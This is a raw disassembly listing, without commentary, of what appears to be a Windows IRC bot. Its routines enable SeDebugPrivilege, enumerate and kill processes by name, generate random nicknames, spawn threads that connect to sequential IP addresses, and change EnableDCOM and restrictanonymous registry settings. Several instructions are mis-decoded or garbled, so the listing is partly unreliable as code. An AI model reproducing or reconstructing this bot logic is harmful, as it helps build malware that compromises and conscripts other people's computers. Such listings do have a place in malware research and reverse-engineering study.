jz short loc_40F22D
dec eax
jz short loc_40F223
dec eax
jnz short loc_40F291
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F223: ; CODE XREF: sub_40F190+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F22D: ; CODE XREF: sub_40F190+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F234: ; CODE XREF: sub_40F190+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F23B: ; CODE XREF: sub_40F190+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F242: ; CODE XREF: sub_40F190+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_40F27B
jz short loc_40F274
sub eax, 8ADh
jz short loc_40F2A6
dec eax
dec eax
jz short loc_40F26D
dec eax
jz short loc_40F266
dec eax
dec eax
jnz short loc_40F291
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F266: ; CODE XREF: sub_40F190+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F26D: ; CODE XREF: sub_40F190+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F274: ; CODE XREF: sub_40F190+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F27B: ; CODE XREF: sub_40F190+B9j
sub eax, 8CAh
jz short loc_40F2AD
sub eax, 17h
jz short loc_40F2A6
sub eax, 25h
jz short loc_40F29F
sub eax, 29h
jz short loc_40F298
loc_40F291: ; CODE XREF: sub_40F190+35j
; sub_40F190+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F298: ; CODE XREF: sub_40F190+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F29F: ; CODE XREF: sub_40F190+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F2A6: ; CODE XREF: sub_40F190+C2j
; sub_40F190+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F2AD: ; CODE XREF: sub_40F190+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_40F2B2: ; CODE XREF: sub_40F190+40j
; sub_40F190+4Aj ...
push offset dword_45EFB0
call sub_41050B
pop ecx
mov eax, offset dword_45EFB0
pop ecx
retn
sub_40F190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F2C4 proc near ; CODE XREF: seg000:0040AC77p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_4128E9
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call near ptr 3E0000h
push ss
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_4128E9
lea eax, [ebp+var_718]
push eax
call sub_4128CC
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call ds:dword_4307A4
test eax, eax
jnz short loc_40F354
mov esi, offset dword_45EDAC
push offset dword_42DA40
push esi
call sub_41050B
pop ecx
pop ecx
jmp short loc_40F37D
; ---------------------------------------------------------------------------
loc_40F354: ; CODE XREF: sub_40F2C4+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_40F190
pop ecx
mov esi, offset dword_45EDAC
push eax
push offset dword_42DA04
push esi
call sub_41050B
add esp, 14h
loc_40F37D: ; CODE XREF: sub_40F2C4+8Ej
mov eax, esi
pop esi
leave
retn
sub_40F2C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F382 proc near ; CODE XREF: sub_4070B7+7p
; seg000:0040F44Cp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 3E0000h
arpl [eax-1], dx
adc eax, offset dword_430778
test eax, eax
jnz short loc_40F3A1
leave
retn
; ---------------------------------------------------------------------------
loc_40F3A1: ; CODE XREF: sub_40F382+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call ds:dword_430754 ; LookupPrivilegeValueA
test eax, eax
jz short loc_40F3DF
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_40F3C8
or [ebp+var_8], 2
jmp short loc_40F3CC
; ---------------------------------------------------------------------------
loc_40F3C8: ; CODE XREF: sub_40F382+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_40F3CC: ; CODE XREF: sub_40F382+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call ds:dword_4307FC ; AdjustTokenPrivileges
mov esi, eax
loc_40F3DF: ; CODE XREF: sub_40F382+32j
push [ebp+var_4]
call ds:dword_41C070 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_40F382 endp
; ---------------------------------------------------------------------------
loc_40F3ED: ; CODE XREF: seg000:0040D02Bp
; sub_40F59E+74p
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp ds:dword_4307B4, ebx
lea edi, [ebp-128h]
mov [ebp-12Ch], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp-34Ch]
mov [ebp-350h], ebx
rep stosd
jz loc_40F597
cmp ds:dword_430798, ebx
jz loc_40F597
cmp ds:dword_4306C4, ebx
jz loc_40F597
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_40F382
pop ecx
pop ecx
push ebx
push 0Fh
call ds:dword_4307B4 ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40F58A
lea eax, [ebp-12Ch]
mov dword ptr [ebp-12Ch], 128h
push eax
push dword ptr [ebp-4]
call ds:dword_430798 ; Process32First
mov esi, ds:dword_41C070
test eax, eax
jz loc_40F585
loc_40F490: ; CODE XREF: seg000:0040F4ABj
; seg000:0040F4B9j ...
lea eax, [ebp-12Ch]
push eax
push dword ptr [ebp-4]
call ds:dword_4306C4 ; Process32Next
test eax, eax
jz loc_40F585
cmp [ebp+18h], ebx
jnz short loc_40F490
cmp [ebp+14h], ebx
jnz loc_40F53D
cmp [ebp+0Ch], ebx
jz short loc_40F490
push dword ptr [ebp-124h]
push 8
call ds:dword_4307B4 ; CreateToolhelp32Snapshot
cmp [ebp+1Ch], ebx
mov edi, eax
mov dword ptr [ebp-350h], 224h
jz short loc_40F4FA
lea eax, [ebp-350h]
push eax
push edi
call ds:dword_430674 ; Module32First
push dword ptr [ebp-124h]
test eax, eax
jz short loc_40F500
lea eax, [ebp-230h]
jmp short loc_40F506
; ---------------------------------------------------------------------------
loc_40F4FA: ; CODE XREF: seg000:0040F4D8j
push dword ptr [ebp-124h]
loc_40F500: ; CODE XREF: seg000:0040F4F0j
lea eax, [ebp-108h]
loc_40F506: ; CODE XREF: seg000:0040F4F8j
push eax
lea eax, [ebp-550h]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41050B
add esp, 10h
lea eax, [ebp-550h]
push 1
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40E367
add esp, 14h
push edi
call esi ; CloseHandle
jmp loc_40F490
; ---------------------------------------------------------------------------
loc_40F53D: ; CODE XREF: seg000:0040F4B0j
push dword ptr [ebp+14h]
lea eax, [ebp-108h]
push eax
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40F490
push dword ptr [ebp-124h]
push ebx
push 1F0FFFh
call near ptr 3E0000h
loc_40F567: ; CODE XREF: seg000:0040F569j
; seg000:loc_40F567j
loop near ptr loc_40F567+1
jnz short loc_40F567
mov edi, eax
call esi ; CloseHandle
push ebx
push edi
call near ptr 3E0000h
call far ptr 0FF57h:575C085h
setalc
jmp short loc_40F597
; ---------------------------------------------------------------------------
push 1
pop eax
jmp short loc_40F599
; ---------------------------------------------------------------------------
loc_40F585: ; CODE XREF: seg000:0040F48Aj
; seg000:0040F4A2j
push dword ptr [ebp-4]
call esi ; CloseHandle
loc_40F58A: ; CODE XREF: seg000:0040F462j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_40F382
pop ecx
pop ecx
loc_40F597: ; CODE XREF: seg000:0040F427j
; seg000:0040F433j ...
xor eax, eax
loc_40F599: ; CODE XREF: seg000:0040F583j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F59E proc near ; DATA XREF: seg000:0040DBC8o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_42DB10
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41050B
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_40F5FD
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40E367
add esp, 14h
loc_40F5FD: ; CODE XREF: sub_40F59E+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call loc_40F3ED
add esp, 18h
test eax, eax
jnz short loc_40F625
push offset dword_42DAD4
jmp short loc_40F62A
; ---------------------------------------------------------------------------
loc_40F625: ; CODE XREF: sub_40F59E+7Ej
push offset dword_42DA9C
loc_40F62A: ; CODE XREF: sub_40F59E+85j
lea eax, [ebp+var_298]
push eax
call sub_41050B
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_40F65D
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40E367
add esp, 14h
loc_40F65D: ; CODE XREF: sub_40F59E+9Dj
lea eax, [ebp+var_298]
push eax
call sub_407E0E
push [ebp+var_14]
call sub_4102D3
pop ecx
pop ecx
push esi
call near ptr 3E0000h
sahf
pop edi
pop esi
sub_40F59E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F67C proc near ; CODE XREF: seg000:0040CFCDp
; sub_4100F2+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 3E0000h
db 65h
mov esi, eax
test esi, esi
jz short loc_40F6AE
push 0
push esi
call near ptr 3E0000h
dec ebp
test eax, eax
jnz short loc_40F6AE
push esi
xor edi, edi
call ds:dword_41C070 ; CloseHandle
loc_40F6AE: ; CODE XREF: sub_40F67C+1Aj
; sub_40F67C+27j
mov eax, edi
pop edi
pop esi
retn
sub_40F67C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B3 proc near ; CODE XREF: sub_40318D+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_410567
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_41C648
call sub_410DD4
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_40F6B3 endp
; =============== S U B R O U T I N E =======================================
sub_40F6E3 proc near ; CODE XREF: sub_40FA4E+49p
; DATA XREF: seg002:off_42DB58o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset dword_423094
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_410A8A
xor esi, esi
add esp, 10h
cmp ds:dword_423010, esi
jle short loc_40F73C
loc_40F716: ; CODE XREF: sub_40F6E3+57j
call sub_410567
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DBAC
push 1Ch
push edi
call sub_410A8A
add esp, 14h
inc esi
cmp esi, ds:dword_423010
jl short loc_40F716
loc_40F73C: ; CODE XREF: sub_40F6E3+31j
mov eax, edi
pop edi
pop esi
retn
sub_40F6E3 endp
; =============== S U B R O U T I N E =======================================
sub_40F741 proc near ; CODE XREF: seg000:0040C769p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
pop ecx
call sub_410567
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, ds:dword_423010
test esi, esi
jle short loc_40F784
loc_40F76E: ; CODE XREF: sub_40F741+41j
call sub_410567
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40F76E
loc_40F784: ; CODE XREF: sub_40F741+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40F741 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
pop ecx
lea eax, [ebp-8]
mov esi, offset dword_42DBB4
push eax
push esi
call near ptr 3E0000h
arpl [edi], cx
mov esi, 42DBB405h
add [edx+41h], ch
pop ecx
push 1
pop edx
loc_40F7CA: ; CODE XREF: seg000:0040F7D5j
cmp eax, ecx
jnz short loc_40F7D1
mov [ebp-4], edx
loc_40F7D1: ; CODE XREF: seg000:0040F7CCj
inc ecx
cmp ecx, 5Bh
jl short loc_40F7CA
push 61h
pop ecx
loc_40F7DA: ; CODE XREF: seg000:0040F7E5j
cmp eax, ecx
jnz short loc_40F7E1
mov [ebp-4], edx
loc_40F7E1: ; CODE XREF: seg000:0040F7DCj
inc ecx
cmp ecx, 7Bh
jl short loc_40F7DA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_410A8A
xor esi, esi
add esp, 0Ch
cmp ds:dword_423010, esi
jle short loc_40F826
loc_40F800: ; CODE XREF: seg000:0040F824j
call sub_410567
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DBAC
push 1Ch
push edi
call sub_410A8A
add esp, 14h
inc esi
cmp esi, ds:dword_423010
jl short loc_40F800
loc_40F826: ; CODE XREF: seg000:0040F7FEj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_41C130 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_42DBB8
push 1Ch
push edi
call sub_410A8A
xor esi, esi
add esp, 10h
cmp ds:dword_423010, esi
jle short loc_40F89B
loc_40F875: ; CODE XREF: seg000:0040F899j
call sub_410567
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DBAC
push 1Ch
push edi
call sub_410A8A
add esp, 14h
inc esi
cmp esi, ds:dword_423010
jl short loc_40F875
loc_40F89B: ; CODE XREF: seg000:0040F873j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_42F3E8
mov dword ptr [ebp-94h], 94h
call ds:dword_41C0EC ; GetVersionExA
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40F925
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40F905
cmp dword ptr [ebp-84h], 1
jnz short loc_40F8F5
mov esi, offset a95 ; "95"
loc_40F8F5: ; CODE XREF: seg000:0040F8EEj
cmp dword ptr [ebp-84h], 2
jnz short loc_40F961
mov esi, offset aNt ; "NT"
jmp short loc_40F961
; ---------------------------------------------------------------------------
loc_40F905: ; CODE XREF: seg000:0040F8E5j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40F915
mov esi, offset a98 ; "98"
jmp short loc_40F961
; ---------------------------------------------------------------------------
loc_40F915: ; CODE XREF: seg000:0040F90Cj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40F95C
mov esi, offset aMe ; "ME"
jmp short loc_40F961
; ---------------------------------------------------------------------------
loc_40F925: ; CODE XREF: seg000:0040F8DCj
cmp dword ptr [ebp-90h], 5
jnz short loc_40F95C
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40F93E
mov esi, offset a2k ; "2K"
jmp short loc_40F961
; ---------------------------------------------------------------------------
loc_40F93E: ; CODE XREF: seg000:0040F935j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40F94E
mov esi, offset aXp ; "XP"
jmp short loc_40F961
; ---------------------------------------------------------------------------
loc_40F94E: ; CODE XREF: seg000:0040F945j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_42DBC4
jz short loc_40F961
loc_40F95C: ; CODE XREF: seg000:0040F91Cj
; seg000:0040F92Cj
mov esi, offset dword_422AE4
loc_40F961: ; CODE XREF: seg000:0040F8FCj
; seg000:0040F903j ...
mov edi, [ebp+8]
push esi
push offset dword_42DBBC
push 1Ch
push edi
call sub_410A8A
xor esi, esi
add esp, 10h
cmp ds:dword_423010, esi
jle short loc_40F9A5
loc_40F97F: ; CODE XREF: seg000:0040F9A3j
call sub_410567
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DBAC
push 1Ch
push edi
call sub_410A8A
add esp, 14h
inc esi
cmp esi, ds:dword_423010
jl short loc_40F97F
loc_40F9A5: ; CODE XREF: seg000:0040F97Dj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9AB proc near ; CODE XREF: sub_40FA4E+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_41C04C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40F9FA
call ds:dword_4307A0 ; FindWindowA
test eax, eax
mov eax, offset dword_42DBD0
jnz short loc_40F9E3
mov eax, offset dword_42F3E8
loc_40F9E3: ; CODE XREF: sub_40F9AB+31j
push eax
push esi
push offset dword_42DBC8
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_410A8A
add esp, 14h
jmp short loc_40FA1A
; ---------------------------------------------------------------------------
loc_40F9FA: ; CODE XREF: sub_40F9AB+22j
call ds:dword_4307A0 ; FindWindowA
test eax, eax
mov eax, offset dword_42DBD0
jnz short loc_40FA0E
mov eax, offset dword_42F3E8
loc_40FA0E: ; CODE XREF: sub_40F9AB+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41050B
pop ecx
pop ecx
loc_40FA1A: ; CODE XREF: sub_40F9AB+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_410B60
pop ecx
cmp eax, 2
pop esi
jbe short loc_40FA49
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_411ED0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_411D00
add esp, 18h
loc_40FA49: ; CODE XREF: sub_40F9AB+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40F9AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA4E proc near ; CODE XREF: sub_4090B0+7Fp
; sub_409218+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42DB54
loc_40FA5A: ; CODE XREF: sub_40FA4E+3Fj
cmp [ebp+arg_C], 0
jz short loc_40FA75
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_410930
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40FA7F
; ---------------------------------------------------------------------------
loc_40FA75: ; CODE XREF: sub_40FA4E+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40FA7F: ; CODE XREF: sub_40FA4E+25j
test eax, eax
jnz short loc_40FA91
add esi, 14h
inc edi
cmp esi, offset dword_42DBB8
jl short loc_40FA5A
jmp short loc_40FA9F
; ---------------------------------------------------------------------------
loc_40FA91: ; CODE XREF: sub_40FA4E+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call ds:off_42DB58[eax*4]
pop ecx
loc_40FA9F: ; CODE XREF: sub_40FA4E+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40FAB2
push [ebp+arg_0]
call sub_40F9AB
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40FAB2: ; CODE XREF: sub_40FA4E+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40FA4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAB7 proc near ; DATA XREF: sub_40FB84+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_410590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call ds:dword_430794 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call ds:dword_430810 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40FB75
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_430740 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov ds:dword_4358E4[ecx], esi
jz short loc_40FB75
push [ebp+var_34]
push [ebp+var_28]
call ds:dword_43081C ; inet_ntoa
push eax
mov edi, offset dword_45F614
push offset unk_42DBD4
push edi
call sub_41050B
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_40E367
push edi
call sub_407E0E
add esp, 28h
loc_40FB75: ; CODE XREF: sub_40FAB7+5Dj
; sub_40FAB7+7Ej
push esi
call ds:dword_430828 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40FAB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40FB84 proc near ; DATA XREF: seg000:0040BFA2o
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_41C058
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_40FBB2: ; CODE XREF: sub_40FB84+ECj
push [ebp+var_2C]
push [ebp+var_20]
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_42DC10
push eax
call sub_41050B
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_4356D8
push eax
call sub_411D00
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40FAB7
push edi
push edi
call ds:dword_41C06C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40FC1E
loc_40FC13: ; CODE XREF: sub_40FB84+98j
cmp [ebp+var_C], edi
jnz short loc_40FC1E
push 32h
call esi ; Sleep
jmp short loc_40FC13
; ---------------------------------------------------------------------------
loc_40FC1E: ; CODE XREF: sub_40FB84+8Dj
; sub_40FB84+92j
push [ebp+var_4]
call ds:dword_41C070 ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4105F0
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_4306D8 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_430790 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_4105F0
add esp, 0Ch
jmp loc_40FBB2
sub_40FB84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FC75 proc near ; CODE XREF: seg000:0040FFA1p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp ds:dword_430860, edi
jnz loc_40FDA7
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_430800 ; RegOpenKeyExA
test eax, eax
jnz short loc_40FD00
mov ax, ds:word_42E000
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_4307B8 ; RegSetValueExA
test eax, eax
jz short loc_40FCE2
push offset unk_42DFBC
jmp short loc_40FCE7
; ---------------------------------------------------------------------------
loc_40FCE2: ; CODE XREF: sub_40FC75+64j
push offset dword_42DF8C
loc_40FCE7: ; CODE XREF: sub_40FC75+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41050B
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_430770 ; RegCloseKey
jmp short loc_40FD13
; ---------------------------------------------------------------------------
loc_40FD00: ; CODE XREF: sub_40FC75+36j
lea eax, [ebp+var_214]
push offset unk_42DF48
push eax
call sub_41050B
pop ecx
pop ecx
loc_40FD13: ; CODE XREF: sub_40FC75+89j
cmp [ebp+arg_C], edi
jnz short loc_40FD32
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_40FD32: ; CODE XREF: sub_40FC75+A1j
lea eax, [ebp+var_214]
push eax
call sub_407E0E
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_430800 ; RegOpenKeyExA
test eax, eax
jnz short loc_40FDA0
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call ds:dword_4307B8 ; RegSetValueExA
test eax, eax
jz short loc_40FD82
push offset unk_42DEE4
jmp short loc_40FD87
; ---------------------------------------------------------------------------
loc_40FD82: ; CODE XREF: sub_40FC75+104j
push offset unk_42DE9C
loc_40FD87: ; CODE XREF: sub_40FC75+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41050B
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_430770 ; RegCloseKey
jmp short loc_40FDBA
; ---------------------------------------------------------------------------
loc_40FDA0: ; CODE XREF: sub_40FC75+E2j
push offset unk_42DE4C
jmp short loc_40FDAC
; ---------------------------------------------------------------------------
loc_40FDA7: ; CODE XREF: sub_40FC75+13j
push offset unk_42DE08
loc_40FDAC: ; CODE XREF: sub_40FC75+130j
lea eax, [ebp+var_214]
push eax
call sub_41050B
